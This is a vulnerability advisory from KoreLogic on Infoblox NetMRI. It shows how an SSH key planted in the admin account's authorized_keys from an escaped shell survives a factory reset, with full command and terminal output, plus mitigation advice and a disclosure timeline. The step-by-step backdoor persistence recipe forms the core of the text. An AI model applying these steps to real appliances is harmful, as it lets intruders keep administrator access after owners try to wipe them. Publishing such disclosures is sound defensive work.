Infoblox NetMRI version VM-AD30-5C6CE suffers from an administration shell factory reset persistence vulnerability.
3d645a515c1de250781ae9cab7fd9d5cKL-001-2017-018 : Infoblox NetMRI Administration Shell Factory Reset Persistence
Title: Infoblox NetMRI Administration Shell Factory Reset Persistence
Advisory ID: KL-001-2017-018
Publication Date: 2017.10.24
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2017-018.txt
1. Vulnerability Details
Affected Vendor: Infoblox
Affected Product: NetMRI
Affected Version: VM-AD30-5C6CE
Platform: Embedded Linux
CWE Classification: CWE-485: Insufficient Encapsulation
Impact: Administrative Account Backdoor
Attack vector: SSH
2. Vulnerability Description
An authenticated user who has escaped the management shell
can install a public SSH key which will survive factory resets.
3. Technical Description
1. Create a SSH keypair.
$ ssh-keygen -f netrmi-backdoor
Generating public/private rsa key pair.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in netrmi-backdoor.
Your public key has been saved in netrmi-backdoor.pub.
The key fingerprint is:
1e:d6:55:7b:f6:a1:a5:9f:ea:8d:2b:4d:5d:ae:9e:19 fake@fake
The key's randomart image is:
+--[ RSA 2048]----+
| . |
| . . |
| . .oo|
| . . +o+|
| S . o..o|
| o . ...o|
| . o E+ |
| . .=+ |
| o*=. |
+-----------------+
2. As 'admin' from a escaped shell, echo the public key to authorized_keys.
[admin@NetMRI-VM-AD30-5C6CE ~]$ echo ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABAQDmjcavayYmGgsNUggeILWSw8qGKAZeWkH/01oP/1M8d249zYBJRHri0hJn13DItuOCn/1/RWxFQsUtoph2dHsAnOYPZXEXofPfmWbqOdaOOK+TbrMAgc0CdgKtIDE01LHob4S8s4N//jCHGWUQzv5KAUebRUtR1K7STAQdMnKbhZeoUBoVgvekjnZZ+3gFGg6C7FDg3Z8VstWYJmqxo7N4awEI95fnJ551O4sr9owdIwoZ5OhO0cbt8HGzoCsdbinICKUg3CIhfnmLnNfHtySmBf6srFx7QQ3Gy5lmW7nXNEYrDoXc37H+mpSR0rtPtuWr9GolP9ccHbbIyQXL6frV
fake@fake >> /home/admin/.ssh/authorized_keys
[admin@NetMRI-VM-AD30-5C6CE ~]$ exit
exit
[admin@NetMRI-VM-AD30-5C6CE Backup]$ exit
exit
ping: IDN encoding of '' failed with error code 5
3. Factory reset the system using the management shell.
NetMRI-VM-AD30-5C6CE> ?
Available Commands:
acl ftp md5sum register setup
autoupdate grep more remoteCopy show
cat halt netstat removedsb snmpwalk
clear help ping removemib ssh-key
configure installdsb provisiondisk repair supportbundle
debug installhelpfiles quit reset telnet
deregister installmib rdtclient restore tftpsync
diagnostic license reboot rm top
exit ls recalculate-spm route traceroute
export maintenance refreshgroups set
NetMRI-VM-AD30-5C6CE> reset
Reset Commands:
admin cli snmp tunclient
all_licenses database system
NetMRI-VM-AD30-5C6CE> reset system
*******************************************************************
WARNING WARNING WARNING WARNING WARNING
This script deletes the network database, all database archive
files, all server logs, all issue details, all files stored
in the administrator shell directory and all user logins.
This script also resets the administrator password to 'admin'
and erases all customer-specific configuration information.
WARNING WARNING WARNING WARNING WARNING
*******************************************************************
Do you really want to reset (y|n)? [n]y
+++ Stopping Server ...
+++ Clearing MQ data ...
+++ Removing Server Logs ...
+++ Removing User Logins ...
+++ Resetting Admin Password ...
+++ Clearing Network Database ...
+++ Clearing All Config Files ...
+++ Clearing subscribers and subscriptions ...
+++ Clearing reports ...
+++ Clearing device support bundles ...
+++ Removing Certificates ...
+++ Rebuilding database ...
+++ Restoring pre-packaged policies ...
+++ Resetting Server Configuration ...
Server is down, skipping comm server restart
+++ Installing Weekly Maintenance Process ...
+++ Resetting Server Name ...
+++ Resetting Banner Logo ...
+++ Resetting Network Interfaces ...
+++ Processing Interface eth0 ...
+++ Processing Interface eth1 ...
+++ Processing Interface eth2 ...
+++ Processing Interface eth3 ...
+++ Resetting DNS Configuration ...
+++ Clearing Admin Directory ...
+++ Resetting Firewall Settings ...
+++ Resetting Time Zone ...
+++ Resetting Security Settings ...
#############################################################
The system needs to be rebooted to complete the reset process
#############################################################
Enter 'reboot' or 'halt' [reboot]: reboot
+++ Reset Complete
+++ Rebooting System ...
Broadcast message from admin@NetMRI-VM-AD30-5C6CE on pts/0 (Mon, 13 Mar 2017 18:59:02 -0400):
The system is going down for reboot NOW!
Connection to 1.3.3.7 closed by remote host.
4. Login to the system using the private key.
$ ssh -i netrmi-backdoor [email protected]
NetMRI VM-AD30-5C6CE
ALL UNAUTHORIZED ACCESS TO THIS SYSTEM WILL BE PROSECUTED TO THE MAXIMUM EXTENT ALLOWED BY APPLICABLE LAWS.
Last login: Mon Mar 13 17:00:07 2017 from 1.3.3.7
************************************************************************
ALL UNAUTHORIZED ACCESS TO THIS SYSTEM WILL BE PROSECUTED TO THE MAXIMUM
EXTENT ALLOWED BY APPLICABLE LAWS.
************************************************************************
NetMRI Administrative Shell
---------------------------
Available Commands:
acl ftp md5sum register setup
autoupdate grep more remoteCopy show
cat halt netstat removedsb snmpwalk
clear help ping removemib ssh-key
configure installdsb provisiondisk repair supportbundle
debug installhelpfiles quit reset telnet
deregister installmib rdtclient restore tftpsync
diagnostic license reboot rm top
exit ls recalculate-spm route traceroute
export maintenance refreshgroups set
NetMRI-VM-AD30-5C6CE>
4. Mitigation and Remediation Recommendation
There is no known remediation for this vulnerability from the
vendor. Administrators should heavily restrict access to any
account of any privilege which can use the ping command in
the NetMRI CLI.
Network access to management interfaces should be properly segmented.
Assuming the lack of input sanitation in the NetMRI CLI is not
addressed: Use that vulnerability to check for the existence
any SSH keys. No keys should be present.
5. Credit
This vulnerability was discovered by Matt Bergin (@thatguylevel)
of KoreLogic, Inc.
6. Disclosure Timeline
2017.07.21 - KoreLogic requests security contact and PGP key from
Infoblox.
2017.07.21 - Infoblox suggests '[email protected]' with
PGP key id 0xC4AB2799.
2017.07.24 - KoreLogic submits vulnerability information to Infoblox.
2017.07.31 - 5 business days have elapsed since the vulnerability
was reported. No response from Infoblox.
2017.09.15 - KoreLogic requests update from Infoblox.
2017.09.26 - 45 business days have elapsed since the vulnerability
was reported to Infoblox.
2017.10.17 - KoreLogic requests an update from Infoblox.
2017.10.18 - 60 business days have elapsed since the vulnerability
was reported to Infoblox.
2017.10.24 - KoreLogic public disclosure.
7. Proof of Concept
See 3. Technical Description.
The contents of this advisory are copyright(c) 2017
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